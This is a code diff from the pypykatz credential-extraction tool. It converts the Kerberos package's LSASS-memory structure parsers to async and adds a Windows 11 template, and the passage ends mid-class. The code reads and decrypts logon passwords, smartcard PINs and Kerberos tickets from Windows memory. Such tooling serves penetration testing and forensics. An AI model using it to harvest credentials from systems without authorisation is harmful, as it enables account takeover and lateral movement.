-		else:
-			self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
+		self.current_cred.username = await kerberos_logon_session.credentials.UserName.read_string(self.reader)
+		self.current_cred.domainname = await kerberos_logon_session.credentials.Domaine.read_string(self.reader)
+		pwdata = await kerberos_logon_session.credentials.Password.read_maxdata(self.reader)
+		self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(pwdata)
 		
 		if kerberos_logon_session.SmartcardInfos.value != 0:
-			csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
-			pin_enc = csp_info.PinCode.read_maxdata(self.reader)
-			self.current_cred.pin = self.decrypt_password(pin_enc)
+			csp_info = await kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
+			pin_enc = await csp_info.PinCode.read_maxdata(self.reader)
+			self.current_cred.pin, raw_dec = self.decrypt_password(pin_enc)
 			if csp_info.CspDataLength != 0:
 				self.current_cred.cardinfo = csp_info.CspData.get_infos()
 
 		#### key list (still in session) this is not a linked list (thank god!)
 		if kerberos_logon_session.pKeyList.value != 0:
-			key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
+			key_list = await kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
 			#print(key_list.cbItem)
-			key_list.read(self.reader, self.decryptor_template.hash_password_struct)
+			await key_list.read(self.reader, self.decryptor_template.hash_password_struct)
 			for key in key_list.KeyEntries:
 				pass
 				### GOOD
 				#keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
 				#print(keydata_enc)
-				#keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
+				#keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True)
 				#print(keydata_enc.hex())
 				#input('KEY?')
 
@@ -204,19 +206,19 @@ class KerberosDecryptor(PackageDecryptor):
 				kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
 					kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
 			self.current_ticket_type = KerberosTicketType.TGS
-			self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
+			await self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
 		
 		if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
 				kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
 					kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
 			self.current_ticket_type = KerberosTicketType.CLIENT
-			self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
+			await self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
 		
 		if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
 				kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
 					kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
 			self.current_ticket_type = KerberosTicketType.TGT
-			self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
+			await self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
 		self.current_ticket_type = None
 		self.credentials.append(self.current_cred)
 	
diff --git a/pypykatz/alsadecryptor/packages/kerberos/templates.py b/pypykatz/alsadecryptor/packages/kerberos/templates.py
index 0fc7bca..1eefe3b 100644
--- a/pypykatz/alsadecryptor/packages/kerberos/templates.py
+++ b/pypykatz/alsadecryptor/packages/kerberos/templates.py
@@ -91,7 +91,7 @@ class KerberosTemplate(PackageTemplate):
 				template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
 				
 
-			elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
+			elif WindowsBuild.WIN_10_1607.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
 				template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
 				template.first_entry_offset = 6
 				template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
@@ -100,6 +100,15 @@ class KerberosTemplate(PackageTemplate):
 				template.hash_password_struct = KERB_HASHPASSWORD_6_1607
 				template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
 			
+			elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value:
+				template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
+				template.first_entry_offset = 6
+				template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
+				template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11
+				template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
+				template.hash_password_struct = KERB_HASHPASSWORD_6_1607
+				template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
+			
 			else:
 				raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
 			
@@ -200,22 +209,43 @@ class KerberosTemplate(PackageTemplate):
 		return template
 		
 class PKERB_SMARTCARD_CSP_INFO_5(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKERB_SMARTCARD_CSP_INFO_5()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KERB_SMARTCARD_CSP_INFO_5
+		return p
 		
 
 class KERB_SMARTCARD_CSP_INFO_5:
-	def __init__(self, reader, size):
+	def __init__(self):
+		#self.dwCspInfoLen = DWORD(reader).value
+		self.ContextInformation = None
+		self.nCardNameOffset = None
+		self.nReaderNameOffset = None
+		self.nContainerNameOffset = None
+		self.nCSPNameOffset = None
+		self.bBuffer = None
+
+
+	@staticmethod
+	async def load(reader, size):
+		res = KERB_SMARTCARD_CSP_INFO_5()
 		pos = reader.tell()
 		#self.dwCspInfoLen = DWORD(reader).value
-		self.ContextInformation = PVOID(reader).value
-		self.nCardNameOffset = ULONG(reader).value
-		self.nReaderNameOffset = ULONG(reader).value
-		self.nContainerNameOffset = ULONG(reader).value
-		self.nCSPNameOffset = ULONG(reader).value
+		res.ContextInformation = await PVOID.loadvalue(reader)
+		res.nCardNameOffset = await ULONG.loadvalue(reader)
+		res.nReaderNameOffset = await ULONG.loadvalue(reader)
+		res.nContainerNameOffset = await ULONG.loadvalue(reader)
+		res.nCSPNameOffset = await ULONG.loadvalue(reader)
 		diff = reader.tell() - pos
-		data = reader.read(size - diff + 4)
-		self.bBuffer = io.BytesIO(data)
+		data = await reader.read(size - diff + 4)
+		res.bBuffer = io.BytesIO(data)
+		return res
 
 	def read_wcharnull(self, buffer, tpos):
 		pos = buffer.tell()
@@ -246,26 +276,53 @@ class KERB_SMARTCARD_CSP_INFO_5:
 		return t
 
 class PKERB_SMARTCARD_CSP_INFO(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KERB_SMARTCARD_CSP_INFO)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKERB_SMARTCARD_CSP_INFO()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KERB_SMARTCARD_CSP_INFO
+		return p
 		
 		
 class KERB_SMARTCARD_CSP_INFO:
-	def __init__(self, reader, size):
+	def __init__(self):
+		self.MessageType = None
+		self.ContextInformation = None
+		self.SpaceHolderForWow64 = None
+		self.flags = None
+		self.KeySpec = None
+		self.nCardNameOffset = None
+		self.nReaderNameOffset = None
+		self.nContainerNameOffset = None
+		self.nCSPNameOffset = None
+		self.bBuffer = None
+	
+	@staticmethod
+	async def load(reader, size):
+		res = KERB_SMARTCARD_CSP_INFO()
 		pos = reader.tell()
 		#self.dwCspInfoLen = DWORD(reader).value
-		self.MessageType = DWORD(reader).value
-		self.ContextInformation = PVOID(reader).value #U
-		self.SpaceHolderForWow64 = ULONG64(reader).value #U
-		self.flags = DWORD(reader).value
-		self.KeySpec = DWORD(reader).value
-		self.nCardNameOffset = ULONG(reader).value * 2
-		self.nReaderNameOffset = ULONG(reader).value * 2
-		self.nContainerNameOffset = ULONG(reader).value * 2
-		self.nCSPNameOffset = ULONG(reader).value * 2
+		res.MessageType = await DWORD.loadvalue(reader).value
+		res.ContextInformation = await PVOID.loadvalue(reader).value
+		res.SpaceHolderForWow64 = await ULONG64.loadvalue(reader).value
+		res.flags = await DWORD.loadvalue(reader).value
+		res.KeySpec = await DWORD.loadvalue(reader).value
+		res.nCardNameOffset = await ULONG.loadvalue(reader).value
+		res.nCardNameOffset *= 2
+		res.nReaderNameOffset = await ULONG.loadvalue(reader).value
+		res.nReaderNameOffset *= 2
+		res.nContainerNameOffset = await ULONG.loadvalue(reader).value
+		res.nContainerNameOffset *= 2
+		res.nCSPNameOffset = await ULONG.loadvalue(reader).value
+		res.nCSPNameOffset *= 2
 		diff = reader.tell() - pos
-		data = reader.read(size - diff + 4)
-		self.bBuffer = io.BytesIO(data)
+		data = await reader.read(size - diff + 4)
+		res.bBuffer = io.BytesIO(data)
+		return res
 
 	def read_wcharnull(self, buffer, tpos):
 		pos = buffer.tell()
@@ -295,769 +352,1686 @@ class KERB_SMARTCARD_CSP_INFO:
 
 		return t
 		
-class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5)
+class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_CSP_INFOS_5()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_CSP_INFOS_5
+		return p
 
 class KIWI_KERBEROS_CSP_INFOS_5:
-	def __init__(self, reader):	
-		self.PinCode = LSA_UNICODE_STRING(reader)
-		self.unk0 = PVOID(reader)
-		self.unk1 = PVOID(reader)
-		self.CertificateInfos = PVOID(reader)
-		self.unkData = PVOID(reader)                      #	// 0 = CspData
-		self.Flags = DWORD(reader).value                  #	// 1 = CspData (not 0x21)(reader).value
-		self.CspDataLength = DWORD(reader).value
-		self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength)
+	def __init__(self):	
+		self.PinCode = None
+		self.unk0 = None
+		self.unk1 = None
+		self.CertificateInfos = None
+		self.unkData = None
+		self.Flags = None
+		self.CspDataLength = None
+		self.CspData = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_CSP_INFOS_5()
+		res.PinCode = await LSA_UNICODE_STRING.load(reader)
+		res.unk0 = await PVOID.load(reader)
+		res.unk1 = await PVOID.load(reader)
+		res.CertificateInfos = await PVOID.load(reader)
+		res.unkData = await PVOID.load(reader)                      #	// 0 = CspData
+		res.Flags = await DWORD.loadvalue(reader)                  #	// 1 = CspData (not 0x21)(reader).value
+		res.CspDataLength = await DWORD.loadvalue(reader)
+		res.CspData = await KERB_SMARTCARD_CSP_INFO_5.load(reader, size = res.CspDataLength)
+		return res
+
 	 
 class PKIWI_KERBEROS_CSP_INFOS_60(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_CSP_INFOS_60()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_CSP_INFOS_60
+		return p
 
 
 class KIWI_KERBEROS_CSP_INFOS_60:
-	def __init__(self, reader):
-		self.PinCode = LSA_UNICODE_STRING(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.CertificateInfos = PVOID(reader).value
-		self.unkData = PVOID(reader).value           #	// 0 = CspData
-		self.Flags = DWORD(reader).value	            #// 0 = CspData(reader).value
-		self.unkFlags = DWORD(reader).value      	#// 0x141(reader).value
-		self.CspDataLength = DWORD(reader).value
-		self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
-
-class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62)
+	def __init__(self):
+		self.PinCode = None
+		self.unk0 = None
+		self.unk1 = None
+		self.CertificateInfos = None
+		self.unkData = None
+		self.Flags = None
+		self.unkFlags = None
+		self.CspDataLength = None
+		self.CspData = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_CSP_INFOS_5()
+		res.PinCode = await LSA_UNICODE_STRING.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.CertificateInfos = await PVOID.loadvalue(reader)
+		res.unkData = await PVOID.loadvalue(reader)           #	// 0 = CspData
+		res.Flags    = await DWORD.loadvalue(reader)	            #// 0 = CspData(reader).value
+		res.unkFlags = await DWORD.loadvalue(reader)      	#// 0x141(reader).value
+		res.CspDataLength = await DWORD.loadvalue(reader)
+		res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength)
+		return res
+
+class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_CSP_INFOS_62()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_CSP_INFOS_62
+		return p
 
 	 
 class KIWI_KERBEROS_CSP_INFOS_62:
-	def __init__(self, reader):
-		self.PinCode = LSA_UNICODE_STRING(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.CertificateInfos = PVOID(reader).value
-		self.unk2 = PVOID(reader).value
-		self.unkData = PVOID(reader).value	          #// 0 = CspData(reader).value
-		self.Flags = DWORD(reader).value	             #// 0 = CspData(reader).value
-		self.unkFlags = DWORD(reader).value	            #// 0x141 (not 0x61)
-		self.CspDataLength = DWORD(reader).value
-		self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
+	def __init__(self):
+		self.PinCode = None
+		self.unk0 = None
+		self.unk1 = None
+		self.CertificateInfos = None
+		self.unk2 = None
+		self.unkData = None
+		self.Flags = None
+		self.unkFlags = None
+		self.CspDataLength = None
+		self.CspData = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_CSP_INFOS_62()
+		res.PinCode = await LSA_UNICODE_STRING.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.CertificateInfos = await PVOID.loadvalue(reader)
+		res.unk2     = await PVOID.loadvalue(reader)
+		res.unkData  = await PVOID.loadvalue(reader)	          #// 0 = CspData(reader).value
+		res.Flags    = await DWORD.loadvalue(reader)	             #// 0 = CspData(reader).value
+		res.unkFlags = await DWORD.loadvalue(reader)	            #// 0x141 (not 0x61)
+		res.CspDataLength = await DWORD.loadvalue(reader)
+		res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength)
+		return res
+
 		
 class PKIWI_KERBEROS_CSP_INFOS_10(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_CSP_INFOS_10()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_CSP_INFOS_10
+		return p
 
 class KIWI_KERBEROS_CSP_INFOS_10:
-	def __init__(self, reader):
-		self.PinCode = LSA_UNICODE_STRING(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.CertificateInfos = PVOID(reader).value
-		self.unk2 = PVOID(reader).value
-		self.unkData = PVOID(reader).value	        #// 0 = CspData
-		self.Flags = DWORD(reader).value	            #// 0 = CspData(reader).value
-		self.unkFlags = DWORD(reader).value	        #// 0x141 (not 0x61)(reader).value
-		self.unk3 = PVOID(reader).value
-		self.CspDataLength = DWORD(reader).value
-		self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
+	def __init__(self):
+		self.PinCode = None
+		self.unk0 = None
+		self.unk1 = None
+		self.CertificateInfos = None
+		self.unk2 = None
+		self.unkData = None
+		self.Flags = None
+		self.unkFlags = None
+		self.unk3 = None
+		self.CspDataLength = None
+		self.CspData = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_CSP_INFOS_10()
+		res.PinCode = await LSA_UNICODE_STRING.load(reader)
+		res.unk0    = await PVOID.loadvalue(reader)
+		res.unk1    = await PVOID.loadvalue(reader)
+		res.CertificateInfos = await PVOID.loadvalue(reader)
+		res.unk2     = await PVOID.loadvalue(reader)
+		res.unkData  = await PVOID.loadvalue(reader)	        #// 0 = CspData
+		res.Flags    = await DWORD.loadvalue(reader)	            #// 0 = CspData(reader).value
+		res.unkFlags = await DWORD.loadvalue(reader)	        #// 0x141 (not 0x61)(reader).value
+		res.unk3     = await PVOID.loadvalue(reader)
+		res.CspDataLength = await DWORD.loadvalue(reader)
+		res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength)
+		return res
 
 class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_LOGON_SESSION_51()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_LOGON_SESSION_51
+		return p
 
 class KIWI_KERBEROS_LOGON_SESSION_51:
-	def __init__(self, reader):
-		self.UsageCount = ULONG(reader).value
-		self.unk0 = LIST_ENTRY(reader)
-		self.unk1 = LIST_ENTRY(reader)
-		self.unk2 = PVOID(reader).value
-		self.unk3 = ULONG(reader).value      #	// filetime.1 ?
-		self.unk4 = ULONG(reader).value    	#// filetime.2 ?(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.unk7 = PVOID(reader).value
-		self.LocallyUniqueIdentifier = LUID(reader).value
-		reader.align(8)
+	def __init__(self):
+		self.UsageCount = None
+		self.unk0 = None
+		self.unk1 = None
+		self.unk2 = None
+		self.unk3 = None      #	// filetime.1 ?
+		self.unk4 = None    	#// filetime.2 ?(reader).value
+		self.unk5 = None
+		self.unk6 = None
+		self.unk7 = None
+		self.LocallyUniqueIdentifier = None
 		#self.unkAlign = ULONG(reader).value  #aliing on x86(reader).value
-		self.unk8 = FILETIME(reader).value
-		self.unk9 = PVOID(reader).value
-		self.unk10 = ULONG(reader).value     #	// filetime.1 ?(reader).value
-		self.unk11 = ULONG(reader).value     #	// filetime.2 ?(reader).value
-		self.unk12 = PVOID(reader).value
-		self.unk13 = PVOID(reader).value
-		self.unk14 = PVOID(reader).value
-		self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
-		self.unk15 = ULONG(reader).value
-		self.unk16 = ULONG(reader).value
-		self.unk17 = ULONG(reader).value
-		self.unk18 = ULONG(reader).value
-		self.unk19 = PVOID(reader).value
-		self.unk20 = PVOID(reader).value
-		self.unk21 = PVOID(reader).value
-		self.unk22 = PVOID(reader).value
-		self.pKeyList = PVOID(reader)
-		self.unk24 = PVOID(reader).value
-		self.Tickets_1 = LIST_ENTRY(reader)
-		self.Tickets_2 = LIST_ENTRY(reader)
-		self.Tickets_3 = LIST_ENTRY(reader)
-		self.SmartcardInfos = PVOID(reader)
+		self.unk8 = None
+		self.unk9 = None
+		self.unk10 = None     #	// filetime.1 ?(reader).value
+		self.unk11 = None     #	// filetime.2 ?(reader).value
+		self.unk12 = None
+		self.unk13 = None
+		self.unk14 = None
+		self.credentials = None
+		self.unk15 = None
+		self.unk16 = None
+		self.unk17 = None
+		self.unk18 = None
+		self.unk19 = None
+		self.unk20 = None
+		self.unk21 = None
+		self.unk22 = None
+		self.pKeyList = None
+		self.unk24 = None
+		self.Tickets_1 = None
+		self.Tickets_2 = None
+		self.Tickets_3 = None
+		self.SmartcardInfos = None
+	
+	@staticmethod
+	async def load(reader):
+		#IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
+		res = KIWI_KERBEROS_LOGON_SESSION_51()
+		res.UsageCount = await ULONG.loadvalue(reader)
+		res.unk0 = await LIST_ENTRY.load(reader)
+		res.unk1 = await LIST_ENTRY.load(reader)
+		res.unk2 = await PVOID.loadvalue(reader)
+		res.unk3 = await ULONG.loadvalue(reader)      #	// filetime.1 ?
+		res.unk4 = await ULONG.loadvalue(reader)    	#// filetime.2 ?(reader).value
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.unk7 = await PVOID.loadvalue(reader)
+		res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
+		await reader.align(8)
+		#self.unkAlign = ULONG(reader).value  #aliing on x86(reader).value
+		res.unk8  = await FILETIME.loadvalue(reader)
+		res.unk9  = await PVOID.loadvalue(reader)
+		res.unk10 = await ULONG.loadvalue(reader)     #	// filetime.1 ?(reader).value
+		res.unk11 = await ULONG.loadvalue(reader)     #	// filetime.2 ?(reader).value
+		res.unk12 = await PVOID.loadvalue(reader)
+		res.unk13 = await PVOID.loadvalue(reader)
+		res.unk14 = await PVOID.loadvalue(reader)
+		res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
+		res.unk15 = await ULONG.loadvalue(reader)
+		res.unk16 = await ULONG.loadvalue(reader)
+		res.unk17 = await ULONG.loadvalue(reader)
+		res.unk18 = await ULONG.loadvalue(reader)
+		res.unk19 = await PVOID.loadvalue(reader)
+		res.unk20 = await PVOID.loadvalue(reader)
+		res.unk21 = await PVOID.loadvalue(reader)
+		res.unk22 = await PVOID.loadvalue(reader)
+		res.pKeyList = await PVOID.load(reader)
+		res.unk24 = await PVOID.loadvalue(reader)
+		res.Tickets_1 = await LIST_ENTRY.load(reader)
+		res.Tickets_2 = await LIST_ENTRY.load(reader)
+		res.Tickets_3 = await LIST_ENTRY.load(reader)
+		res.SmartcardInfos = await PVOID.load(reader)
+		return res
 
 		
 class PKIWI_KERBEROS_LOGON_SESSION(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_LOGON_SESSION()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_LOGON_SESSION
+		return p
 
 class KIWI_KERBEROS_LOGON_SESSION:
-	def __init__(self, reader):
-		self.UsageCount = ULONG(reader).value
-		reader.align()
-		self.unk0 = LIST_ENTRY(reader)
-		self.unk1 = PVOID(reader).value
-		self.unk2 = ULONG(reader).value     #	// filetime.1 ?
-		self.unk3 = ULONG(reader).value	   #// filetime.2 ?(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.unk6 = PVOID(reader).value
-		self.LocallyUniqueIdentifier = LUID(reader).value
+	def __init__(self):
+		self.UsageCount = None
+		self.unk0 = None
+		self.unk1 = None
+		self.unk2 = None     #	// filetime.1 ?
+		self.unk3 = None	   #// filetime.2 ?(reader).value
+		self.unk4 = None
+		self.unk5 = None
+		self.unk6 = None
+		self.LocallyUniqueIdentifier = None
 		#self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value
-		reader.align(8)
-		self.unk7 = FILETIME(reader).value
-		self.unk8 = PVOID(reader).value
-		self.unk9 = ULONG(reader).value      #	// filetime.1 ?(reader).value
-		self.unk10 = ULONG(reader).value     #	// filetime.2 ?(reader).value
-		self.unk11 = PVOID(reader).value
-		self.unk12 = PVOID(reader).value
-		self.unk13 = PVOID(reader).value
-		self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
-		self.unk14 = ULONG(reader).value
-		self.unk15 = ULONG(reader).value
-		self.unk16 = ULONG(reader).value
-		self.unk17 = ULONG(reader).value
-		self.unk18 = PVOID(reader).value
-		self.unk19 = PVOID(reader).value
-		self.unk20 = PVOID(reader).value
-		self.unk21 = PVOID(reader).value
-		self.pKeyList = PVOID(reader)
-		self.unk23 = PVOID(reader).value
-		reader.align()
-		self.Tickets_1 = LIST_ENTRY(reader)
-		self.unk24 = FILETIME(reader).value
-		self.Tickets_2 = LIST_ENTRY(reader)
-		self.unk25 = FILETIME(reader).value
-		self.Tickets_3 = LIST_ENTRY(reader)
-		self.unk26 = FILETIME(reader).value
-		self.SmartcardInfos = PVOID(reader)
+		self.unk7  = None
+		self.unk8  = None
+		self.unk9  = None      #	// filetime.1 ?(reader).value
+		self.unk10 = None     #	// filetime.2 ?(reader).value
+		self.unk11 = None
+		self.unk12 = None
+		self.unk13 = None
+		self.credentials = None
+		self.unk14 = None
+		self.unk15 = None
+		self.unk16 = None
+		self.unk17 = None
+		self.unk18 = None
+		self.unk19 = None
+		self.unk20 = None
+		self.unk21 = None
+		self.pKeyList = None
+		self.unk23 = None
+		self.Tickets_1 = None
+		self.unk24 = None
+		self.Tickets_2 = None
+		self.unk25 = None
+		self.Tickets_3 = None
+		self.unk26 = None
+		self.SmartcardInfos = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_LOGON_SESSION()
+		res.UsageCount = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.unk0 = await LIST_ENTRY.load(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.unk2 = await ULONG.loadvalue(reader)     #	// filetime.1 ?
+		res.unk3 = await ULONG.loadvalue(reader)	   #// filetime.2 ?(reader).value
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.unk6 = await PVOID.loadvalue(reader)
+		res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
+		#self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value
+		await reader.align(8)
+		res.unk7  = await FILETIME.loadvalue(reader)
+		res.unk8  = await PVOID.loadvalue(reader)
+		res.unk9  = await ULONG.loadvalue(reader)      #	// filetime.1 ?(reader).value
+		res.unk10 = await ULONG.loadvalue(reader)     #	// filetime.2 ?(reader).value
+		res.unk11 = await PVOID.loadvalue(reader)
+		res.unk12 = await PVOID.loadvalue(reader)
+		res.unk13 = await PVOID.loadvalue(reader)
+		res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
+		res.unk14 = await ULONG.loadvalue(reader)
+		res.unk15 = await ULONG.loadvalue(reader)
+		res.unk16 = await ULONG.loadvalue(reader)
+		res.unk17 = await ULONG.loadvalue(reader)
+		res.unk18 = await PVOID.loadvalue(reader)
+		res.unk19 = await PVOID.loadvalue(reader)
+		res.unk20 = await PVOID.loadvalue(reader)
+		res.unk21 = await PVOID.loadvalue(reader)
+		res.pKeyList = await PVOID.load(reader)
+		res.unk23 = await PVOID.loadvalue(reader)
+		await reader.align()
+		res.Tickets_1 = await LIST_ENTRY.load(reader)
+		res.unk24     = await FILETIME.loadvalue(reader)
+		res.Tickets_2 = await LIST_ENTRY.load(reader)
+		res.unk25     = await FILETIME.loadvalue(reader)
+		res.Tickets_3 = await LIST_ENTRY.load(reader)
+		res.unk26     = await FILETIME.loadvalue(reader)
+		res.SmartcardInfos = await PVOID.load(reader)
+		return res
 
 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL)
-
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL
+		return p
 		
 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL:
-	def __init__(self, reader):
-		self.UserName = LSA_UNICODE_STRING(reader)
-		self.Domaine = LSA_UNICODE_STRING(reader)
-		self.unk0 = PVOID(reader).value
-		self.Password = LSA_UNICODE_STRING(reader)
+	def __init__(self):
+		self.UserName = None
+		self.Domaine = None
+		self.unk0 = None
+		self.Password = None
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL()
+		res.UserName = await LSA_UNICODE_STRING.load(reader)
+		res.Domaine  = await LSA_UNICODE_STRING.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.Password = await LSA_UNICODE_STRING.load(reader)
+		return res
 
 class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_LOGON_SESSION_10()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
